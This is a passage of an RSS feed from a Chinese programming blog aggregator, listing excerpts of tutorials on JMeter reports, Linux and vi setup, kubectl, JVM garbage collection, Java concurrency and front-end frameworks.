      <description>Jmeter也是可以生成测试报告的。&#xA;性能测试工具Jmeter由于其体积小、使用方便、学习成本低等原因，在现在的性能测试过程中，使用率越来越高，但其本身也有一定的缺点，比如提供的测试结果可视化做的很一般。&#xA;不过从3.0版本开始，jmeter引入了Dashboard Report模块，用于生成HTML类型的可视化图形报告（3.0版本的Dashboard Report模块会中文乱码，因此建议使用3.0以上的版本）。&#xA;简单介绍下在利用jmeter进行性能测试时，生成HTML的可视化测试报告。。。&#xA;一、生成HTML测试报告的两种方式&#xA;1、利用已有.jtl文件生成报告&#xA;如果已经有经过测试生成的.jtl文件，可以利用该文件直接生成HTML可视化测试报告。&#xA;进入jmeter的bin目录下，输入如下命令：&#xA;jmeter -g test.jtl -o /path&#xA;# -g：后跟test.jtl文件所在的路径&#xA;# -o：后跟生成的HTML文件存放的路径&#xA;PS：如果是在Windows环境命令行运行，必须指定生成的HTML文件存放文件夹，否则会报错；如果是linux环境，如指定路径下不存在该文件夹，会生成对应的文件夹存放报告文件！&#xA;2、无.jtl文件生成测试报告&#xA;如果还未生成.jtl文件，则可以通过如下命令，一次性完成测试执行和生成HTML可视化报告的操作，进入jmeter的bin目录下，输入如下命令：&#xA;jmeter -n -t test.jmx -l test.jtl -e -o /path&#xA;# -n：以非GUI形式运行Jmeter&#xA;# -t：source.jmx 脚本路径&#xA;# -l：result.jtl 运行结果保存路径（.jtl）,此文件必须不存在&#xA;# -e：在脚本运行结束后生成html报告&#xA;# -o：用于存放html报告的目录&#xA;PS：（linux系统和windows系统命令一样）需要注意的是，生成的.jtl文件路径下，不能存在同名的.jtl文件（我理解的就是一个jtl文件就代表了一个.jmx文件），否则会执行失败。&#xA;执行完毕后，会得到这些东西&#xA;用浏览器打开存放报告的文件夹下的index.html，效果展示如下：&#xA;二、图表信息详解 测试报告分为两部分，Dashboard和Charts，下面分开解析。&#xA;1、Dashboard（概览仪表盘）&#xA;①、Test and Report informations&#xA;②、APDEX (应用性能指标)&#xA;关于APDEX的相关信息，请参考这里：应用性能指标；英文原文，参考这里：Apdex-Wikipedia&#xA;③、Requests Summary&#xA;2、Charts（详细信息图表）&#xA;PS：由于详细信息图表有点多，这里我挑几个性能测试过程中比较关键的图表解析！&#xA;Over Time&#xA;①、Response Times Over Time（脚本运行期间的响应时间变化趋势图）&#xA;说明：可以根据响应时间和变化和TPS以及模拟的并发数变化，判断性能拐点的范围。&#xA;②、 Response Time Percentiles Over Time (successful responses)</description>
    </item>
    <item>
      <title>json数组对象如何取出其中一部分需要的字段，组成新数组对象</title>
      <link>https://bchobby.github.io/posts/ddd4e3cdf57261f4e6ed13ebdacdce2e/</link>
      <pubDate>Sat, 30 Sep 2023 19:28:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ddd4e3cdf57261f4e6ed13ebdacdce2e/</guid>
      <description>这是一个笑话，折腾了半天，发现js、ts提供了默认的办法。&#xA;从后台获取的数据：&#xA;//服务器获得的&#xA;data = [ {dd:&#39;22&#39; ,AA:&#39;东东&#39; ,re1:123}, {dd:&#39;33&#39; ,AA:&#39;丽丽&#39; ,re1:234}, {dd:&#39;44&#39; ,AA:&#39;明明&#39; ,re1:456} ];&#xA;//理想的&#xA;[ {dd:&#39;22&#39; ,re1:123}, {dd:&#39;33&#39; ,re1:234}, {dd:&#39;44&#39; ,re1:456} ];&#xA;TS的解决方案：&#xA;interface myData{&#xA;dd:string;&#xA;rel:number;&#xA;}&#xA;const newArr=ref&amp;lt;myData&amp;gt;([])&#xA;取出数据，假设已经封装了get方法：&#xA;function getDataList() {&#xA;return (baseService.get(&#34;/sys/tData/list&#34;).then((res) =&amp;gt; {&#xA;newArr.value = res.data;&#xA;console.log(&#39;数据：&#39;,newArr.value)&#xA;})&#xA;)&#xA;}&#xA;TS根据接口定义的数据，自动去匹配过来的数据，不需要再次做复杂的转换</description>
    </item>
    <item>
      <title>【Linux】完美解决ubuntu18.04下vi不能使用方向键和退格键</title>
      <link>https://bchobby.github.io/posts/0f7274112ee43322d4ad758dcf7730ca/</link>
      <pubDate>Sat, 30 Sep 2023 16:07:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0f7274112ee43322d4ad758dcf7730ca/</guid>
      <description>今天在刚安装完ubuntu18.04，发现在使用vi命令配置文件时使用方向键并不能移动光标，而是出现一堆奇怪的英文字母，使用退格键也不能正常地删除内容，用惯了CentOS的我已经感觉到ubuntu没有centos用着丝滑，但是没办法，ubuntu才是我后续实验学习中的主流，我将以上问题总结出了以下两个解决办法：&#xA;文章目录 1.方法1：1.方法2： 1.方法1： 上网查了一下，这是由于Ubuntu预装的是vim-tiny，而我们需要使用vim-full。执行下面的语句安装vim full版本。&#xA;这个问题是由于新系统预装的是vi而不是vim所致。因为vi不支持直接使用退格键删除字符，只有在按下esc键时，才能让退格键删除字符生效。相比之下，vim可以像记事本一样直接编辑字符，更加方便&#xA;只要依次执行以下两个命令即可完美解决Ubuntu下vi编辑器方向键变字母的问题。即：卸载当前vi编辑器，然后重新安装。&#xA;先打开命令行窗口，以root管理员身份登录。&#xA;1.执行命令&#xA;sudo apt-get remove vim-common 2.执行命令&#xA;sudo apt-get install vim 再试试vi编辑器，可以看到方向键和退格键已经可以正常使用了。&#xA;1.方法2： 由于/etc/vim/vimrc.tiny的拥有者是root用户，所以要在root的权限下对这个文件进行修改。&#xA;su root 在root用户下使用命令 vi /etc/vim/vimrc.tiny 修改文件，将set compatible 设置成set nocompatible非兼容模式，就可以解决方向键变ABCD的问题了。&#xA;vi /etc/vim/vimrc.tiny 这是因为有时候系统会默认vim兼容vi，所以使用vi的命令。&#xA;接下来要解决Backspace键的问题也很简单，在刚才那句话后面再加一句：set backspace=2 即可。&#xA;set nocompatible set backspace=2 以上就是解决ubuntu18.04下vi不能使用方向键和退格键的两个方法，欢迎各位小伙伴和前辈们提出宝贵的意见，如果本篇文章对你有帮助，请点赞收藏+关注哦~</description>
    </item>
    <item>
      <title>【Linux】CentOS-6.8超详细安装教程</title>
      <link>https://bchobby.github.io/posts/f926a035e0c6eb6b9484b963c955d8f4/</link>
      <pubDate>Sat, 30 Sep 2023 15:35:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f926a035e0c6eb6b9484b963c955d8f4/</guid>
      <description>文章目录 1.CentOS介绍：2.必要准备：3.创建虚拟机：4 .安装系统 1.CentOS介绍： CentOS是一种基于开放源代码的Linux操作系统，它以其稳定性、安全性和可靠性而闻名，它有以下特点：&#xA;开源性：CentOS是一个免费、开源的操作系统，它遵循GNU通用公共许可证（GPL）的条款。这意味着任何人都可以自由地使用、修改和分发CentOS的源代码。&#xA;基于Red Hat Enterprise Linux（RHEL）：CentOS源码直接从RHEL中衍生，因此它保持了与商业版RHEL高度的二进制兼容性。这使得CentOS成为了一个非常可靠和稳定的操作系统选择。&#xA;长期支持（LTS）：CentOS提供长期支持版本，通常每个版本的支持周期为10年。这意味着用户可以在较长的时间内获得安全更新和错误修复，这对于企业和生产环境来说非常重要。&#xA;安全性：CentOS通过及时提供安全更新和修补程序来确保系统的安全性。它也受到活跃的社区支持，用户可以及时获取安全建议和支持。&#xA;社区支持：CentOS有庞大的用户社区，提供了广泛的技术支持和资源。社区成员之间分享经验、解决问题，并提供教程和文档，这让用户能够更好地使用和定制CentOS。&#xA;服务器应用：由于其稳定性和安全性，CentOS被广泛用于服务器环境。它支持多种服务器应用程序、服务和工具，如Web服务器（如Apache、Nginx）、数据库服务器（如MySQL、PostgreSQL）和邮件服务器等。&#xA;软件包管理器：CentOS使用YUM（Yellowdog Updater&#xA;Modified）作为其主要软件包管理器。YUM使得安装、更新和删除软件包变得简单和高效。&#xA;2.必要准备： 虚拟机：VMware Workstation Pro 14&#xA;镜像⽂件：CentOS-6.8-x86_64-bin-DVD1.iso&#xA;6.8已经是⼀个⽐较早的版本了，现在6.8的镜像文件也已经很难找到了，我这里免费给大家提供网盘地址：&#xA;夸克网盘链接：https://pan.quark.cn/s/7231da1640c4&#xA;提取码：ndhG&#xA;3.创建虚拟机： (1) 创建新的虚拟机：&#xA;可以在主页直接点击创建新的虚拟机&#xA;也可以在上⽅，点击⽂件，新建虚拟机&#xA;(2) 选择⾃定义（⾼级）&#xA;(3) 硬盘兼容性&#xA;默认即可。我这⾥是VM14，点击下⼀步&#xA;(4) 选择稍后安装操作系统&#xA;这⾥，选择稍后安装操作系统，安装完成过后，⼤家可以选择删掉⼀些不要的硬件，例如打印机等等&#xA;(5) 选择操作系统以及版本&#xA;这⾥选择 Linux 系统，指定为 CentOS 64 位&#xA;(6) 命名虚拟机&#xA;指定虚拟机的名称，后期也可以改&#xA;同时指定其位置，⾃⼰安排就好，下⾯是我的例⼦&#xA;(7) 处理器配置&#xA;根据真机的性能设置 CPU处理器的数量以及每个处理器的核⼼数量，当然 4 可不是固定的&#xA;当然了，总不能超过你的真机，否则就会报错哈&#xA;(8) 设置虚拟机内存&#xA;建议把内存指定为 2G（2 x 1024MB），最低也给到 1G，⽽2G 也够了，也没太⼤的必要更⾼&#xA;(9) 设置⽹络类型&#xA;想要使⽤⽹络，给出了三种⽅式：桥接模式、NAT模式、仅主机模式</description>
    </item>
    <item>
      <title>c语言中的条件运算符和关系运算符</title>
      <link>https://bchobby.github.io/posts/242873b0f57837cd681a4e86c37c76f0/</link>
      <pubDate>Fri, 29 Sep 2023 23:15:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/242873b0f57837cd681a4e86c37c76f0/</guid>
      <description>#include &amp;lt;stdio.h&amp;gt; /*条件运算符 * ()?():() * 如果？前面的表达式成立，整个表达式的值，是？和：之间的表达式的结果 * 否则是：之后的表达式的结果。 * A?B:C * 首先判断表达式A 的结果，如果结果为真，则执行表达式B，如果表达式S为 * 假则执行表达式C条件运算符其实就是一个简单的if else语句 * if(A){ * B * }else{ * C * } */ /*逗号预算符 * ( ..., ..., ...) * 使用逗号隔开的表达式从左向右依次执行，最后表达式的值是整个运算的结果 * A = ( B , C , D ) * 先运行表达式A，再运行表达式C，最后运行表达式D，最终变量A的值为表达式D的值 * */ int main() { //条件运算符 int a=10,b=20; int c; c = (a &amp;gt; b) ? (a += 10) : (b += 10); printf(&#34;</description>
    </item>
    <item>
      <title>9月30日作业</title>
      <link>https://bchobby.github.io/posts/1344170e5a38f33fee81af41dffc30bb/</link>
      <pubDate>Fri, 29 Sep 2023 21:54:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1344170e5a38f33fee81af41dffc30bb/</guid>
      <description>1、&#xA;2、&#xA;3、&#xA;4、</description>
    </item>
    <item>
      <title>CarPlay iAP2附件协议</title>
      <link>https://bchobby.github.io/posts/abc88713bb7f13aebbfcc3e434474cc5/</link>
      <pubDate>Fri, 29 Sep 2023 12:08:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/abc88713bb7f13aebbfcc3e434474cc5/</guid>
      <description>CarPlay only supports USB before iOS 8.3, maximum NCM packet size is 64KB (40 x 1514-byte MTU). USB CarPlay uses H.264 HP3.1/3.2 Profile, 25Mbps.&#xA;Wireless CarPlay uses iAP2 over Bluetooth profile. It uses H.264 HP3.1/3.2 Profile, 10Mbps.&#xA;Download Data Center Software from Total Phase.&#xA;1 Lightning&#xA;1.1 Lightning线缆方向发现&#xA;Figure 1-1 Apple Lightning Cable Orientation Discovery ID0或者ID1的通信位速率大概为85kbps，USB PD协议的CC线BMC编码位速率是600Kbps。&#xA;1.2 BQ25890&#xA;Figure 1-2 CDP探测波形&#xA;1.3 Apple charger mode&#xA;divider 1: 5W, DP = 2 V, DM = 2.</description>
    </item>
    <item>
      <title>PyQt5安装以及使用</title>
      <link>https://bchobby.github.io/posts/1dd39ab114d50800bceeba6e0007ba58/</link>
      <pubDate>Fri, 29 Sep 2023 10:03:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1dd39ab114d50800bceeba6e0007ba58/</guid>
      <description>PyQt5安装以及使用 1 简介2 安装方法2.1 方法1 pip install PyQt52.2 方法2 pip install PyQt5‑5.15.9‑cp37‑cp37m‑win_amd64.whl 3 安装PyQt5-tools4 设置环境变量5 测试6 Qt Designer6.1 安装6.2 在 PyCharm 中配置 Qt Designer6.3 在PyCharm中测试Qt Designer 7 将ui文件转为py文件7.1 方法1 使用pyuic5命令7.2 方法2 使用pyside2-uic7.3 测试 1 简介 开发工具为PyCharm，Anaconda。配置过程可能遇到问题：1）没有designer.exe，单独安装Qt Designer即可；2）没有pyuic5.exe，用命令行将ui文件转为py文件即可。&#xA;2 安装方法 安装方法有三种：&#xA;1）源码编译，复杂就不介绍了&#xA;2）直接命令：pip install PyQt5&#xA;3）通过命令：pip install PyQt5‑5.15.9‑cp37‑cp37m‑win_amd64.whl&#xA;2.1 方法1 pip install PyQt5 由于国内网络原因可能出现链接超时错误：&#xA;Collecting PyQt5 Downloading PyQt5-5.15.9-cp37-abi3-win_amd64.whl (6.8 MB) ━━╸━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 0.4/6.8 MB 36.5 kB/s eta 0:02:56 ERROR: Exception: Traceback (most recent call last): File &#34;</description>
    </item>
    <item>
      <title>React实战过程的知识了解</title>
      <link>https://bchobby.github.io/posts/a143aaeca56e30bea8c734a088a41b90/</link>
      <pubDate>Thu, 28 Sep 2023 22:48:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a143aaeca56e30bea8c734a088a41b90/</guid>
      <description>做项目用到react和antd，没办法循序渐进的学习，只能把一些点记录在这里，希望大家指正。&#xA;1.杂七杂八 正文&#xA;//actionRef，操作表单的预设方法，包括：刷新、重置所有项并刷新、重置到默认项、加载更多、清空选中项 const actionRef = useRef(); //刷新界面 actionRef?.current?.reload(); //重置表单数据 formRef?.current?.resetFields() //富文本展示 &amp;lt;div dangerouslySetInnerHTML={{__html: contentInfo}}/&amp;gt; 1.ProTable Demo 这是antd提供的一种高级表格，如果我们的表格需要和后端交互，这是较好的一种选择。&#xA;1.1 request 表格主要是和后端交互，所以为这是protable里最重要的api。&#xA;request 会接收一个对象。对象中必须要有 data 和 success，如果需要手动分页 total 也是必需的。&#xA;&amp;lt;ProTable&amp;lt;DataType, Params&amp;gt; // params 是需要自带的参数 // 这个参数优先级更高，会覆盖查询表单的参数 params={params} request={async ( // 第一个参数 params 查询表单和 params 参数的结合 // 第一个参数中一定会有 pageSize 和 current ，这两个参数是 antd 的规范 params: T &amp;amp; { pageSize: number; current: number; }, sort, filter, ) =&amp;gt; { // 这里需要返回一个 Promise,在返回之前你可以进行数据转化 // 如果需要转化参数可以在这里进行修改 const msg = await myQuery({ page: params.</description>
    </item>
    <item>
      <title>简单介绍一下Yolov5</title>
      <link>https://bchobby.github.io/posts/7dfea19f7dd0e7c830eda63b0e3d4aa7/</link>
      <pubDate>Thu, 28 Sep 2023 18:52:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7dfea19f7dd0e7c830eda63b0e3d4aa7/</guid>
      <description>YoloV5是一种基于目标检测的深度学习模型，是YOLO系列模型的最新版本。YoloV5相对于前几个版本，改进了网络结构和训练方式，提高了检测精度，同时也减少了推理时间。YoloV5使用了轻量级的网络结构，可以在不牺牲准确率的情况下减少模型大小和计算量。 YoloV5采用了新的网络结构，称为CSPNet（Cross Stage Partial Network）。该网络结构采用了跨阶段部分连接来提高特征提取的效率，同时也避免了信息丢失的问题。此外，CSPNet还通过使用SPP（Spatial Pyramid Pooling）模块来提高特征提取的效率，以及使用PAN（Path Aggregation Network）模块来融合不同的特征图，从而提高检测精度。 YoloV5还引入了自适应训练技术。传统的训练方式需要手动调整学习率和训练时长等参数，而自适应训练技术可以自动调整这些参数，从而提高模型的训练效率和准确率。此外，YoloV5还使用了数据增强技术和MixUp技术来增加训练数据的多样性，提高模型的鲁棒性。 总之，YoloV5是一种高效、精确的目标检测模型，可以用于各种实际应用中，如自动驾驶、安防监控、智能交通等。&#xA;下面是CSPNet的代码实现&#xA;import torch import torch.nn as nn import torch.nn.functional as F class CSPBlock(nn.Module): def __init__(self, in_channels, out_channels, bottleneck_ratio=0.5): super(CSPBlock, self).__init__() self.conv1 = nn.Conv2d(in_channels, int(out_channels * bottleneck_ratio), 1) self.bn1 = nn.BatchNorm2d(int(out_channels * bottleneck_ratio)) self.conv2 = nn.Conv2d(in_channels, int(out_channels * bottleneck_ratio), 1) self.bn2 = nn.BatchNorm2d(int(out_channels * bottleneck_ratio)) self.conv3 = nn.Conv2d(int(out_channels * bottleneck_ratio), int(out_channels * bottleneck_ratio), 3, padding=1) self.bn3 = nn.BatchNorm2d(int(out_channels * bottleneck_ratio)) self.</description>
    </item>
    <item>
      <title>【JVM】并发可达性分析-三色标记算法</title>
      <link>https://bchobby.github.io/posts/feef4a358e2edf8e87b134b591fe3fca/</link>
      <pubDate>Thu, 28 Sep 2023 17:10:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/feef4a358e2edf8e87b134b591fe3fca/</guid>
      <description>欢迎访问👋zjyun.cc&#xA;可达性分析 为了验证堆中的对象是否为可回收对象（Garbage）标记上的对象，即是存活的对象，不会被垃圾回收器回收，没有标记的对象会被垃圾回收器回收，在标记的过程中需要stop the world （STW）。&#xA;缺点：当堆中的对象很多、很复杂时，用。等待时间会很长。&#xA;什么是并发可达性分析 并发的意思是指和用户的线程进行并行运行，在运行时不需要进行STW。&#xA;三色算法理论-引入三种颜色 白色：尚未访问过。&#xA;黑色：本对象已访问过，而且本对象 引用到 的其他对象 也全部访问过了。&#xA;灰色：本对象已访问过，但是本对象 引用到 的其他对象 尚未全部访问完。全部访问后，会转换为黑色。&#xA;三色算法理论-解释多标-浮动垃圾问题 浮动垃圾（Floating Garbage）：&#xA;如图，在本图中A为GC ROOT，扫描到了B节点的时刻，断开了A到B 的应用：A.referenceB=null ,此时B下的100个下游对象，都无法被扫描到，导致无法被回收，这部分本应该回收但是没有回收到的内存，被称之为“浮动垃圾”。浮动垃圾并不会影响应用程序的正确性，只是需要等到下一轮垃圾回收中才被清除。&#xA;三色算法理论-解释漏标-对象消失问题 【描述】：&#xA;当扫描到B节点时，断开时了B-&amp;gt;C 的链接，A-&amp;gt;C 新增一条新的引用：&#xA;c=b.reference; b.referenceC=null; a.referencec=c; 【问题！！！】&#xA;由于将B到C 的引用断开，导致C的状态还是白色，虽然新增了A到C的引用，但是A已经是黑色，不会重新进行扫描，我因此，会出现当本次扫描完成后，C还是白色，C和C引用的100个对象被回收掉了！！这是完全不能忍受的。&#xA;【出现问题的两个条件】&#xA;赋值器插入了一条或者多条从黑色对象到白色对象的新引用；赋值器删除了全部从灰色对象到该白色对象的直接或间接引用。&#xA;要解决对象消失的问题，就要使引发问题的根源条件处理，这就引出了2种解决对象消失问题的方式，增量更新或原始快照。 如何解决漏标-增量更新（Incremental Update） 代表回收器：CMS&#xA;增量更新破坏的是第一个条件，当黑色对象插入新的指向白色对象的引用时，就将这个新加入的引用记录下来，待并发标记完成后，重新对这种新增的引用记录进行扫描；&#xA;简记：黑色对象一旦插入新的白色对象，黑色就变成灰色（需要重新扫描）&#xA;如何解决漏标-原始快照（Snapshot At The Beginning，SATB） 代表回收器：G1、Shenandoah&#xA;原始快照破坏的是第二个条件，当灰色对象要删除指向白色对象的引用关系时，也是将这个记录下来，并发标记完成后，对该记录进行重新扫描。&#xA;简记：如果灰色对象下的所有白色节点之间的引用删掉，那么灰色节点将变为根节点，重新进行扫描。&#xA;【复杂度分析】&#xA;优缺点分析 增量更新：黑色对象新增一条指向白色对象的引用，那么要进行深入扫描白色对象及它的引用对象。&#xA;原始快照：灰色对象删除了一条指向白色对象的引用，实际上就产生了浮动垃圾，好处是不需要像 CMS 那样 remark，再走一遍 root trace 这种相当耗时的流程。&#xA;SATB相对增量更新效率会高(当然SATB可能造成更多的浮动垃圾)，因为不需要在重新标记阶段再次深度扫描被删除引用对象，而CMS对增量引用的根对象会做深度扫描，G1因为很多对象都位于不同的region，CMS就一块老年代区域，重新深度扫描对象的话G1的代价会比CMS高，所以G1选择SATB不深度扫描对象，只是简单标记，等到下一轮GC再深度扫描。</description>
    </item>
    <item>
      <title>【k8s】kubectl命令详解</title>
      <link>https://bchobby.github.io/posts/56beb6317f48d91dba45b1557636b65a/</link>
      <pubDate>Thu, 28 Sep 2023 17:02:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/56beb6317f48d91dba45b1557636b65a/</guid>
      <description>文章目录 命令行工具 kubectl在slave下配置kubectl资源操作创建对象 API概述类型访问控制认证授权 废弃API说明 资源管理资源管理介绍资源管理方式命令式对象管理命令式对象配置创建yaml文件创建资源查看资源删除资源 声明式对象配置 kebectl在node节点上运行查看每种资源的可配置项推荐增删改查操作 命令行工具 kubectl 官方文档：https://kubernetes.io/docs/reference/generated/kubectl/kubectl-commands&#xA;在slave下配置kubectl # 1. 将 master 节点中 /etc/kubernetes/admin.conf 拷贝到需要运行的服务器的 /etc/kubernetes 目录中 scp /etc/kubernetes/admin.conf root@slave:/etc/kubernetes # 2. 在对应的服务器上配置环境变量 echo &#34;export KUBECONFIG=/etc/kubernetes/admin.conf&#34; &amp;gt;&amp;gt; ~/.bash_profile source ~/.bash_profile 资源操作 创建对象 $ kubectl create -f ./my-manifest.yaml # 创建资源 $ kubectl create -f ./my1.yaml -f ./my2.yaml # 使用多个文件创建资源 $ kubectl create -f ./dir # 使用目录下的所有清单文件来创建资源 $ kubectl create -f https://git.io/vPieo # 使用 url 来创建资源 $ kubectl run nginx --image=nginx # 启动一个 nginx 实例 $ kubectl explain pods,svc # 获取 pod 和 svc 的文档 # 从 stdin 输入中创建多个 YAML 对象 $ cat &amp;lt;&amp;lt;EOF | kubectl create -f - apiVersion: v1 kind: Pod metadata: name: busybox-sleep spec: containers: - name: busybox image: busybox args: - sleep - &#34;</description>
    </item>
    <item>
      <title>锋利的开罐器-Arthas</title>
      <link>https://bchobby.github.io/posts/5a3d34f4e449f3254dc45b1d007f7aba/</link>
      <pubDate>Thu, 28 Sep 2023 16:56:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5a3d34f4e449f3254dc45b1d007f7aba/</guid>
      <description>官网：https://arthas.aliyun.com/&#xA;github：https://github.com/alibaba/arthas&#xA;做什么的？ Arthas 是一款线上监控诊断产品，通过全局视角实时查看应用 load、内存、gc、线程的状态信息，并能在不修改应用代码的情况下，对业务问题进行诊断，包括查看方法调用的出入参、异常，监测方法执行耗时，类加载信息等，大大提升线上问题排查效率。&#xA;具体的引用场景 CPU飙高，什么原因造成的？这个类从哪个 jar 包加载的？为什么会报各种类相关的 Exception？我改的代码为什么没有执行到？难道是我没 commit？分支搞错了？遇到问题无法在线上 debug，难道只能通过加日志再重新发布吗？线上遇到某个用户的数据处理有问题，但线上同样无法 debug，线下无法重现！是否有一个全局视角来查看系统的运行状况？有什么办法可以监控到 JVM 的实时运行状态？怎么快速定位应用的热点，生成火焰图？怎样直接从 JVM 内查找某个类的实例？ - base64 - base64 编码转换，和 linux 里的 base64 命令类似 [arthas@70070]$ echo &#39;abc&#39; &amp;gt; /tmp/test.txt [arthas@70070]$ cat /tmp/test.txt abc [arthas@70070]$ base64 /tmp/test.txt YWJjCg== 基础命令 - cat - 打印文件内容，和 linux 里的 cat 命令类似 - cls - 清空当前屏幕区域 - echo - 打印参数，和 linux 里的 echo 命令类似 - grep - 匹配查找，和 linux 里的 grep 命令类似 - help - 查看命令帮助信息 - history - 打印命令历史 - pwd - 返回当前的工作目录，和 linux 命令类似 - reset - 重置增强类，将被 Arthas 增强过的类全部还原，Arthas 服务端关闭时会重置所有增强过的类 - session - 查看当前会话的信息 [arthas@19836]$ session Name Value -------------------------------------------------- JAVA_PID 19836 SESSION_ID d864f3f9-a139-473d-951c-0fa8039ea901 - quit - 退出当前 Arthas 客户端，其他 Arthas 客户端不受影响 - stop - 关闭 Arthas 服务端，所有 Arthas 客户端全部退出 - tee - 复制标准输入到标准输出和指定的文件，和 linux 里的 tee 命令类似 - version - 输出当前目标 Java 进程所加载的 Arthas 版本号 - - keymap - Arthas 快捷键列表及自定义快捷键 JVM相关命令 - dashboard - 当前系统的实时数据面板🔥 - thread - 查看当前 JVM 的线程堆栈信息🔥 - jvm - 查看当前 JVM 的信息🔥 - sysprop - 查看和修改 JVM 的系统属性 - sysenv - 查看 JVM 的环境变量 - vmoption - 查看和修改 JVM 里诊断相关的 option - getstatic - 查看类的静态属性 - ognl - 执行 ognl 表达式 ognl &#39;@java.</description>
    </item>
    <item>
      <title>windows实用功能快捷入口</title>
      <link>https://bchobby.github.io/posts/c7511b59a170e8634a01e055f0048a96/</link>
      <pubDate>Thu, 28 Sep 2023 16:55:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c7511b59a170e8634a01e055f0048a96/</guid>
      <description> 文章目录 windows实用功能快捷入口运行快捷键打开windows设置打开运行回到桌面打开文件资源管理器 参考 windows实用功能快捷入口 运行 原理实际上就是通过名字调用C:\Windows\System32下的文件（不区分大小写）如输入mstsc点确定后实际上就相当于点击C:\Windows\System32\mstsc.exe文件 命令说明mstsc远程桌面cleanmgr磁盘清理msconfig系统配置control控制面板winver查看系统版本services.msc打开服务管理器calc打开计算器shell:startup打开开机启动程序目录regedit注册表编辑器dxdiage打开DirectX诊断工具\\wsl$打开wsl目录 快捷键 打开windows设置 win+i 打开运行 win+R 回到桌面 win+D 打开文件资源管理器 win+E 参考 </description>
    </item>
    <item>
      <title>java关于多线程并发和异步操作由浅入深</title>
      <link>https://bchobby.github.io/posts/9a6713224f33a5930b0dd5ba5dc955c4/</link>
      <pubDate>Thu, 28 Sep 2023 15:29:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9a6713224f33a5930b0dd5ba5dc955c4/</guid>
      <description>目录 前言一、初识多线程多线程最基本的两种实现方式方式一方式二 多线程优点 二、匿名函数实现无返回值的多线程异步调用三、CompletableFuture实现多线程异步调用无返回值的异步调用有返回值的异步调用什么是 Callable 和 Future？ 四、四种线程池的使用1.newFixedThreadPool定长线程池2.CachedThreadPool可缓存线程池3.newSingleThreadExecutor单线程化线程池4. newScheduledThreadPool周期性线程池无返回值的延时线程示例有返回值的延时线程示例定时线程执行 五、使用guava库的线程池创建线程（推荐）无返回值的线程创建有返回值的多线程调用线程池的submit和execute方法区别有返回值的批量多线程调用多任务其中一个执行完其余都停止invokeAny()与invokeAll()区别: 六、线程间的数据同步多线程间的数据一致性——原子操作线程间变量同步——synchronized关键字线程间通信——管道通信线程间变量隔离独立——ThreadLocalConcurrentHashMap的使用 七、Semaphore信号八、简单练习 前言 多线程一直以来都知识点比较多，让人难以理解，网上的文章大多也是长篇大论。最近有空所以将平时接触到的多线程知识由浅入深的以代码示例形式整理出来，希望为后来者解惑，快速的了解多线程相关的知识，减少踩坑。&#xA;一、初识多线程 多线程最基本的两种实现方式 方式一 继承Thread类并并重写run方法&#xA;public class MyThread extends Thread { @Override public void run() { for (int i = 1; i &amp;lt;= 5; i++) { System.out.println(&#34;线程名:&#34; + Thread.currentThread().getName() + &#34; i是:&#34; + i); } } } 测试：&#xA;public class Test { public static void main(String[] args) { MyThread myThread1 = new MyThread(); MyThread myThread2 = new MyThread(); myThread1.</description>
    </item>
    <item>
      <title>uniapp APP端使用html2canvas截图分享小程序卡片图片模糊、跨域等问题解决</title>
      <link>https://bchobby.github.io/posts/bd1fc789ef661777c94d88b82b553a37/</link>
      <pubDate>Thu, 28 Sep 2023 14:34:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bd1fc789ef661777c94d88b82b553a37/</guid>
      <description>项目场景： 项目场景：uniapp APP端，分享小程序到微信好友，使用html2canvas截取当前页面做卡片封面图。仅是需要展示部分内容用作卡片封面就可以，不强制需要全屏截图。&#xA;问题描述 问题1、部分页面截取到的图片分享到微信后卡片图片模糊。&#xA;问题2、截图时报错：Failed to execute &#39;toDataURL&#39; on &#39;HTMLCanvasElement&#39;: Tainted canvases may not be exported。 实现方案： APP端 html2canvas截图步骤：&#xA;1、npm方式下载&#xA;npm i html2canvas 2、引用 html2canvas&#xA;import html2canvas from &#39;html2canvas&#39; 3、APP中需要用renderjs方式进行,开始截图：&#xA;1）在需要截图的页面定义如下renderjs的截图函数：&#xA;&amp;lt;script module=&#34;canvasToImage&#34; lang=&#34;renderjs&#34;&amp;gt; import html2canvas from &#39;html2canvas&#39;; export default { data() { return {} }, methods: { getImage(event, ownerInstance) { ownerInstance.callMethod(&#39;showLoading&#39;, {}) //containert为需要操作的dom节点，也就是定义的id值 var dom = document.getElementById(&#39;containert&#39;); html2canvas(dom, { width: window.clientWidth, height: 200, useCORS: true, scale: 1, dpi: 1000 }).</description>
    </item>
    <item>
      <title>【VUE复习·10】v-for 高级：:key 作用和原理；尽量不要使用 index 来遍历</title>
      <link>https://bchobby.github.io/posts/918e6a081e93c0c57a1a5995cc0363f8/</link>
      <pubDate>Thu, 28 Sep 2023 13:29:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/918e6a081e93c0c57a1a5995cc0363f8/</guid>
      <description>总览 1.:key 作用和原理&#xA;2.尽量不要使用 index 来遍历&#xA;一、:key 作用和原理 1.数据产生串位的原因 在我们使用 index 进行遍历的时候，会出现虚拟 DOM 和 真实 DOM 的渲染问题。&#xA;二、尽量不要使用 index 来遍历 详情见视频 1/3 处：&#xA;https://www.bilibili.com/video/BV1Zy4y1K7SH?p=30&amp;amp;spm_id_from=pageDriver&amp;amp;vd_source=38d6ea3466db371e6c07c24eed03219b</description>
    </item>
    <item>
      <title>c语言中的if...else语句</title>
      <link>https://bchobby.github.io/posts/58b88180e68b59d1a024336363d19914/</link>
      <pubDate>Thu, 28 Sep 2023 12:37:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/58b88180e68b59d1a024336363d19914/</guid>
